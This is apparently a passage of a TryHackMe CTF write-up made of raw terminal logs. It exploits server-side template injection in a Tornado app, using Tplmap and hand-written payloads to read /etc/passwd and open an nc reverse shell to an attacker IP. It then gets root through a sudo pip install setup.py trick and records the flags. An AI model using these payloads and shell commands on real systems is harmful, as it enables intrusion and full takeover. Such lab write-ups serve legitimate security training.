rendering with tag '{{*}}', skipping [+] Tornado plugin is testing blind injection [+] Tornado plugin has confirmed blind injection [+] Tplmap identified the following injection point: GET parameter: hackme Engine: Tornado Injection: * Context: text OS: undetected Technique: blind Capabilities: Shell command execution: ok (blind) Bind and reverse shell: ok File write: ok (blind) File read: no Code evaluation: ok, python code (blind) [-][tcpserver] Port bind on 0.0.0.0:1337 has failed: [Errno 98] Address already in use ┌──(kali㉿kali)-[~/Downloads] └─$ rlwrap nc -lvnp 1337 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.163.81. Ncat: Connection from 10.10.163.81:37710. /bin/sh: 0: can't access tty; job control turned off $ whoami zeldris $ ls server.py $ cat server.py import tornado.template import tornado.ioloop import tornado.web TEMPLATE = ''' <html> <head><title> Hello {{ name }} </title></head> <body><section class="inside"><h2>Cyber Security training made easy</h2></br>Hello FOO <p class='m0'>TryHackMe takes the pain out of learning and teaching Cybersecurity. Our platform makes it a comfortable experience to learn by designing prebuilt courses which include virtual machines (VM) hosted in the cloud ready to be deployed. This avoids the hassle of downloading and configuring VM's. Our platform is perfect for CTFs, Workshops, Assessments or Training.</p></section></section></div><div class="container main pb"><section class="row"><div class="col-md-4 green-hover"><h2><i class="fas fa-spider"></i> Hack Instantly</h2><p>Learn, practice and complete! Get hands on and practise your skills in a real-world environment by completing fun and difficult tasks. You can deploy VMs, which will give an IP address instantly and away you go.</p></div><div class="col-md-4 green-hover"><h2><i class="fas fa-door-closed"></i> Rooms</h2><p>Rooms are virtual areas dedicated to particular cyber security topics. For example, a room called "Hacking the Web" could be dedicated to web application vulnerabilities. </p></div><div class="col-md-4 green-hover"><h2><i class="fab fa-fort-awesome"></i> Tasks</h2><p>Each room has tasks that contain questions and hints, a custom leaderboard and chat area. Whilst you're hacking away, you can discuss hacking techniques or request help from others.</p></div></section> </body> </html> ''' class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument('hackme', '') template_data = TEMPLATE.replace("FOO",name) t = tornado.template.Template(template_data) self.write(t.generate(name=name)) application = tornado.web.Application([ (r"/40b5dffec4e39b7a3e9d261d2fc4a038/", MainHandler), ], debug=True, static_path=None, template_path=None) if __name__ == '__main__': application.listen(9090) tornado.ioloop.IOLoop.instance().start() $ pwd /home/zeldris/nonamectf/ssti $ cd .. $ ls run.sh ssti tryhackme $ cat run.sh #!/bin/bash socat TCP-LISTEN:2222,reuseaddr,fork EXEC:./tryhackme,pty,stderr,echo=0 $ cd .. $ ls nonamectf user.txt $ cat user.txt THM{SSTI_AND_BUFFER_OVERFLOW_W4S_HERE} priv esc https://gtfobins.github.io/gtfobins/pip/ $ sudo -l Matching Defaults entries for zeldris on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User zeldris may run the following commands on ubuntu: (ALL : ALL) ALL (root : root) NOPASSWD: /usr/bin/pip install * $ python3 -c 'import pty;pty.spawn("/bin/bash")' zeldris@ubuntu:/tmp$ TF=$(mktemp -d) TF=$(mktemp -d) zeldris@ubuntu:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py <sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py zeldris@ubuntu:/tmp$ sudo pip install $TF sudo pip install $TF The directory '/home/zeldris/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/zeldris/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Processing ./tmp.AiMqJEpCCo # whoami whoami root # cd /root cd /root # ls ls root.txt ufw # cat root.txt cat root.txt THN{F4KE_PIP_PACKAGE_INSTALL} # cd ufw cd ufw # ls ls ufw.sh # cat ufw.sh cat ufw.sh ufw disable or doing manually http://10.10.55.71:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme={{%20%27%27.__class__.__mro__[1].__subclasses__()%20}} It is attempting to access the subclasses of the superclass of the empty string ('') by chaining together multiple attributes and methods. Specifically, it is calling the **class** attribute of an empty string, which returns the class object, then the **mro** attribute of that class object, which returns the method resolution order, and then the **subclasses** method of the first item of that method resolution order. This payload is attempting to exploit a vulnerability in the application by accessing classes Hello [<class 'property'>, <class 'str'>, <class 'inspect._empty'>, _ForwardRef('HTTPFile'), <class '_frozen_importlib.BuiltinImporter'>, typing.Generic<+T_co>, <class 'asyncio.subprocess.Process'>, <class 'hmac.HMAC'>, <class 'logging.PlaceHolder'>, <class '_ssl._SSLSocket'>, <class 'dict_valueiterator'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'itertools.zip_longest'>, <class 'itertools.takewhile'>, <class 'threading.Semaphore'>, <class '_weakrefset.WeakSet'>, <class 'bytearray_iterator'>, <class 'classmethod'>, <class 'range_iterator'>, <class 'callable_iterator'>, <class 'concurrent.futures._base.Future'>, <class 'importlib.abc.Loader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'tornado.gen.Runner'>, <class 'string.Template'>, <class 'collections.abc.Sized'>, <class 'csv.Dialect'>, <class 'logging.Formatter'>, <class '_frozen_importlib._ModuleLock'>, <class 'itertools._tee'>, <class 'cell'>, <class 'ipaddress._BaseV6'>, <class 'codecs.IncrementalEncoder'>, <class 'asyncio.futures._TracebackLogger'>, <class 'ssl.SSLObject'>, <class '_frozen_importlib_external.PathFinder'>, <class 'email._policybase._PolicyBase'>, <class 'collections.abc.AsyncIterable'>, <class 'frozenset'>, <class 'PyCapsule'>, <class 'managedbuffer'>, <class 'sre_parse.Pattern'>, <class 'pickle._Framer'>, <class 'iterator'>, <class '_bz2.BZ2Compressor'>, <class 'staticmethod'>, _ForwardRef('Matcher'), <enum 'Enum'>, <class 'coroutine_wrapper'>, <class '_frozen_importlib._installed_safely'>, <class 'datetime.time'>, <class 'select.epoll'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'tornado.httputil.HTTPConnection'>, _ForwardRef('OutputTransform'), <class 'logging.PercentStyle'>, <class 'builtin_function_or_method'>, <class 'float'>, <class 'EncodingMap'>, <class '_sitebuiltins.Quitter'>, <class 'dict_keys'>, <class 'threading.Event'>, <class 'tornado.locale.Locale'>, <class 'itertools.permutations'>, <class 'tarfile._LowLevelFile'>, <class 'itertools.combinations_with_replacement'>, <class 'list_reverseiterator'>, <class 'tornado.template._TemplateReader'>, <class 'pkgutil.ImpImporter'>, <class '_collections._deque_iterator'>, <class 'ipaddress._IPAddressBase'>, <class 'json.encoder.JSONEncoder'>, <class 'int'>, <class 'itertools.chain'>, _ForwardRef('RequestStartLine'), <class '_sre.SRE_Pattern'>, <class 'json.decoder.JSONDecoder'>, <class 'itertools.islice'>, <class 'zlib.Decompress'>, <class 'tornado.web.RequestHandler'>, <class '_frozen_importlib._ManageReload'>, <class 'weakref.finalize._Info'>, <class 'csv.DictWriter'>, _ForwardRef('Optional[Type[BaseException]]'), <class 'tornado.template._CodeWriter.indent.<locals>.Indenter'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class 'tornado.iostream.BaseIOStream'>, <class 'csv.Sniffer'>, <class 'ellipsis'>, <class 'tornado.ioloop._Selectable'>, _ForwardRef('BaseLoader'), <class 'numbers.Number'>, _ForwardRef('Resolver'), <class 'multiprocessing.connection.SocketListener'>, <class 'threading.Thread'>, _ForwardRef('IOLoop'), <class 'email.feedparser.BufferedSubFile'>, <class 'tornado.util.GzipDecompressor'>, <class 'tornado.template._CodeWriter'>, <class 'asyncio.events.AbstractEventLoop'>, <class 'itertools.count'>, <class '_collections._deque_reverse_iterator'>, <class 'itertools.groupby'>, <class 'itertools.starmap'>, <class 'itertools.accumulate'>, <class '_lzma.LZMACompressor'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'asyncio.streams.StreamWriter'>, <class 'unicodedata.UCD'>, <class 'tornado.httputil.HTTPServerRequest'>, <class 'contextlib.ContextDecorator'>, <class 'calendar.Calendar'>, <class 'concurrent.futures.process._WorkItem'>, <class 'super'>, <class 'tornado.util.ArgReplacer'>, <class 'tornado.ioloop._Timeout'>, <class 'itertools._grouper'>, <class 'http.client.HTTPConnection'>, <class '_curses.curses window'>, <class 'contextlib.closing'>, <class 'typing.re'>, <class 'classmethod_descriptor'>, <class 'complex'>, <class 'traceback'>, <class 'weakcallableproxy'>, <class 'tornado.ioloop.PeriodicCallback'>, <class 'asyncio.events.AbstractEventLoopPolicy'>, <class 'importlib.abc.Finder'>, <class 'tornado.web._UIModuleNamespace'>, <class 'calendar._localized_day'>, <class 'collections.abc.Iterable'>, <class 'inspect.Signature'>, <class 'tarfile._Stream'>, _ForwardRef('Matcher'), <class 'dict_items'>, <class '_thread.RLock'>, <class 'NotImplementedType'>, <class 'dict_values'>, <class 'inspect._void'>, <class 'codecs.StreamReaderWriter'>, <class 'concurrent.futures._base._Waiter'>, <class 'threading._RLock'>, typing._Protocol<+T_co>, <class 'os._wrap_close'>, <class 'tornado.tcpserver.TCPServer'>, <class 'tornado.template.BaseLoader'>, <class 'datetime.timedelta'>, <class 'itertools._tee_dataobject'>, <class '_pickle.PicklerMemoProxy'>, <class 'tornado.web.OutputTransform'>, <class 'email.charset.Charset'>, <class '_frozen_importlib.ModuleSpec'>, <class 'asyncio.unix_events.AbstractChildWatcher'>, <class 'ast.NodeVisitor'>, typing._Protocol<+T_co>, <class '_sitebuiltins._Helper'>, <class 'dict_keyiterator'>, <class '_io._IOBase'>, <class 'queue.Queue'>, <class 'warnings.catch_warnings'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'select.poll'>, <class 'bytes_iterator'>, <class 'logging.LogRecord'>, <class 'list'>, <class '_lzma.LZMADecompressor'>, <class 'email.header.Header'>, <class 'multiprocessing.process.BaseProcess'>, <class 'multiprocessing.connection.Listener'>, <class 'concurrent.futures.process._CallItem'>, <class 'multiprocessing.context.BaseContext'>, _ForwardRef('Future[_T]'), typing.Generic<+T_co>, <class 'zlib.Compress'>, <class 'tornado.gen._NullFuture'>, _ForwardRef('Return'), <class 'tuple'>, _ForwardRef('_Node'), typing.Generic<+T_co, -T_contra, +V_co>, <class 'inspect.BlockFinder'>, <class 'posix.ScandirIterator'>, <class 'multiprocessing.connection._ConnectionBase'>, <class 'tornado.httputil.HTTPMessageDelegate'>, <class 'frame'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'array.array'>, <class 'asyncio.sslproto._SSLPipe'>, <class 'typing.io'>, <class '_ssl._SSLContext'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.compress'>, <class 'subprocess.Popen'>, _ForwardRef('OutputTransform'), <class 'pickle._Pickler'>, <class 'threading.Barrier'>, <class 'asyncio.events.AbstractServer'>, _ForwardRef('UIModule'), _ForwardRef('_NamedBlock'), <class '_sre.SRE_Scanner'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile.TemporaryDirectory'>, <class 'map'>, <class 'email.parser.BytesParser'>, _ForwardRef('_Node'), <class 'ipaddress._IPv4Constants'>, <class 'operator.itemgetter'>, <class 'textwrap.TextWrapper'>, <class 'collections.abc.Hashable'>, <class '_csv.reader'>, <class '_frozen_importlib_external._NamespacePath'>, <class 'Struct'>, <class 'asyncio.events.Handle'>, <class 'method_descriptor'>, <class 'code'>, <class 'concurrent.futures.thread._WorkItem'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class '_pickle.Pickler'>, <class 'typing._TypeAlias'>, <class 'multiprocessing.connection.ConnectionWrapper'>, <class 'email._parseaddr.AddrlistClass'>, _ForwardRef('Rule'), <class 'range'>, <class 'module'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'tornado.template._CodeWriter.indent.<locals>.Indenter'>, <class '_frozen_importlib._ImportLockContext'>, _ForwardRef('ResponseStartLine'), <class '_csv.Dialect'>, <class 'formatteriterator'>, <class 'weakref.finalize'>, _ForwardRef('_Node'), <class 'pickle._Unpickler'>, _ForwardRef('ResponseStartLine'), <class 'traceback.TracebackException'>, _ForwardRef('Resolver'), <class 'selectors.BaseSelector'>, <class 'tornado.httpserver._HTTPRequestContext'>, <class 'codecs.StreamRecoder'>, <class 'tornado.gen.WaitIterator'>, <class '_pickle.Pdata'>, <class 'reversed'>, <class '_json.Scanner'>, <class 'codecs.Codec'>, _ForwardRef('RequestStartLine'), <class '_frozen_importlib._DummyModuleLock'>, <class 'email.header._ValueFormatter'>, <class '_json.Encoder'>, <class 'concurrent.futures._base.Executor'>, typing._Protocol, <class 'gzip._PaddedFile'>, <class 'asyncio.queues.Queue'>, <class 'datetime.date'>, _ForwardRef('OutputTransform'), <class 'ipaddress._BaseV4'>, <class '_frozen_importlib.FrozenImporter'>, <class 'tornado.routing.Matcher'>, <class 'tornado.iostream._StreamBuffer'>, <class 'tarfile.TarIter'>, <class 'tornado.template._UnsetMarker'>, _ForwardRef('SSLIOStream'), <class 'inspect.BoundArguments'>, <class 'tornado.http1connection.HTTP1ConnectionParameters'>, <class '_ssl.MemoryBIO'>, <class '_hashlib.HASH'>, <class 'os._DummyDirEntry'>, <class 'sre_parse.SubPattern'>, typing.Generic, typing.Generic<~AnyStr>, <class 'function'>, <class 'itertools.cycle'>, <class 'string.Formatter'>, <class 'asyncio.locks._ContextManagerMixin'>, <class 'odict_iterator'>, <class 'mimetypes.MimeTypes'>, <class '_sre.SRE_Match'>, <class 'email.message.Message'>, <class 'abc.ABC'>, <class 'tornado.process.Subprocess'>, <class '_thread._local'>, <class 'collections.abc.Callable'>, <class '_frozen_importlib_external._LoaderBasics'>, <class 'functools.partialmethod'>, <class 'tornado.util.Configurable'>, <class 'type'>, <class 'warnings.WarningMessage'>, <class '_random.Random'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, _ForwardRef('_NamedBlock'), <class 'instancemethod'>, <class 'zip'>, <class 'weakref'>, <class 'pickle._Unframer'>, <class 'concurrent.futures.process._ResultItem'>, <class 'multiprocessing.util.Finalize'>, <class 're.Scanner'>, <class 'tornado.http1connection.HTTP1ServerConnection'>, typing.Generic<~KT, +VT_co>, <class '_weakrefset._IterationGuard'>, <class 'slice'>, <class 'longrange_iterator'>, <class 'moduledef'>, <class '_bz2.BZ2Decompressor'>, <class 'calendar._localized_month'>, <class 'tokenize.Untokenizer'>, <class 'tornado.template.Template'>, <class '_sitebuiltins._Printer'>, <class 'contextlib.ExitStack'>, _ForwardRef('_Node'), <class '_pickle.Unpickler'>, <class 'coroutine'>, <class '_thread.lock'>, <class 'tornado.web._ArgDefaultMarker'>, <class 'inspect.Parameter'>, typing.Generic<+CT>, <class 'gettext.NullTranslations'>, <class 'dict_itemiterator'>, _ForwardRef('Future[_T]'), <class 'tornado.template._Node'>, <class 'email.feedparser.FeedParser'>, <class 'multiprocessing.reduction._C'>, <class 'dict'>, <class 'tuple_iterator'>, <class 'member_descriptor'>, <class '_socket.socket'>, <class 'pkgutil.ImpLoader'>, <class 'asyncio.locks.Event'>, <class 'tornado.template._CodeWriter.indent.<locals>.Indenter'>, <class 'collections.abc.Container'>, <class 'weakproxy'>, typing.Generic<+T_co>, <class 'csv.DictReader'>, <class 'logging.LoggerAdapter'>, <class 'multiprocessing.util.ForkAwareThreadLock'>, <class '_frozen_importlib._ModuleLockManager'>, _ForwardRef('Generator[Any, Any, _T]'), <class 'mappingproxy'>, <class '_multiprocessing.SemLock'>, _ForwardRef('Matcher'), <class 'dis.Bytecode'>, <class 'logging.handlers.QueueListener'>, _ForwardRef('_File'), <class 'tarfile.TarFile'>, _ForwardRef('_Node'), <class 'tornado.http1connection._ExceptionLoggingContext'>, <class 'types._GeneratorWrapper'>, <class 'traceback.FrameSummary'>, <class 'concurrent.futures.process._ExceptionWithTraceback'>, <class 'set'>, <class 'itertools.combinations'>, <class 'collections.deque'>, <class 'itertools.dropwhile'>, <class 'itertools.filterfalse'>, typing._Protocol<+T_co>, <class 'sre_parse.Tokenizer'>, <class '_frozen_importlib_external.FileLoader'>, <class 'bytes'>, <class 'tornado.web.UIModule'>, <class 'tarfile.TarInfo'>, <class 'tornado.routing.Rule'>, <class 'contextlib._RedirectStream'>, <class 'typing.Final'>, <class 'bytearray'>, <class 'filter'>, <class 'NoneType'>, <class 'functools.partial'>, <class 'tornado.httputil.HTTPServerConnectionDelegate'>, <class 'urllib.parse._ResultMixinStr'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class 'getset_descriptor'>, <class 'method-wrapper'>, <class 'method'>, <class 'subprocess.CompletedProcess'>, <class 'str_iterator'>, <class 'logging.Manager'>, <class 'tempfile._RandomNameSequence'>, <class 'logging.Filter'>, <class '_csv.writer'>, <class '_thread._localdummy'>, <class '_io._BytesIOBuffer'>, <class 'set_iterator'>, <class 'asyncio.locks._ContextManager'>, <class 'memoryview'>, <class 'generator'>, typing.Generic<+T_co>, <class 'asyncio.transports.BaseTransport'>, <class 'asyncio.futures.Future'>, <class 'urllib.parse._ResultMixinBytes'>, <class '_ast.AST'>, <class 'reprlib.Repr'>, <class 'fieldnameiterator'>, <class 'enumerate'>, <class 'datetime.tzinfo'>, <class 'asyncio.protocols.BaseProtocol'>, <class 'copy._EmptyClass'>, <class '_io.IncrementalNewlineDecoder'>, <class 'BaseException'>, <class 'types.SimpleNamespace'>, _ForwardRef('IOStream'), <class 'functools._lru_cache_wrapper'>, <class 'collections.abc.Awaitable'>, <class 'asyncio.streams.StreamReader'>, <class 'calendar.different_locale'>, <class 'logging.Filterer'>, <class 'contextlib.suppress'>, <class 'wrapper_descriptor'>, <class 'types.DynamicClassAttribute'>, <class 'codecs.IncrementalDecoder'>, <class 'ipaddress._IPv6Constants'>, <class 'list_iterator'>, <class 'stderrprinter'>, _ForwardRef('BaseLoader'), <class 'email.parser.Parser'>, <class 'threading.Condition'>, <class 'tarfile._FileInFile'>, <class 'tarfile._StreamProxy'>, <class 'collections._Link'>, <class 'logging.BufferingFormatter'>, typing.Generic<~KT, +VT_co>] http://10.10.55.71:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme={%%20import%20os%20%}{{%20os.popen(%22cat%20/etc/passwd%22).read()%20}} Hello root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false zeldris:x:1000:1000:NoNameCTF2,,,:/home/zeldris:/bin/bash sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin http://10.10.55.71:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme={%%20import%20os%20%}{{%20os.popen(%22cat%20/home/zeldris/user.txt%22).read()%20}} Hello THM{SSTI_AND_BUFFER_OVERFLOW_W4S_HERE} http://10.10.55.71:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme={%%20import%20os%20%}{{%20os.popen(%22nc%2010.8.19.103%201337%20-e%20/bin/bash%22).read()%20}} ┌──(kali㉿kali)-[~/Downloads] └─$ rlwrap nc -lvnp 1337 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.55.71. Ncat: Connection from 10.10.55.71:34786. whoami zeldris python3 -c 'import pty;pty.spawn("/bin/bash")' zeldris@ubuntu:~/nonamectf/ssti$ sudo -l sudo -l Matching Defaults entries for zeldris on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User zeldris may run the following commands on ubuntu: (ALL : ALL) ALL (root : root) NOPASSWD: /usr/bin/pip install * zeldris@ubuntu:~/nonamectf/ssti$ TF=$(mktemp -d) TF=$(mktemp -d) zeldris@ubuntu:~/nonamectf/ssti$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py <execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py zeldris@ubuntu:~/nonamectf/ssti$ sudo pip install $TF sudo pip install $TF The directory '/home/zeldris/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/zeldris/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Processing /tmp/tmp.D25ysNM6jY # whoami whoami root # cat /root/root.txt cat /root/root.txt THN{F4KE_PIP_PACKAGE_INSTALL} :)

Flags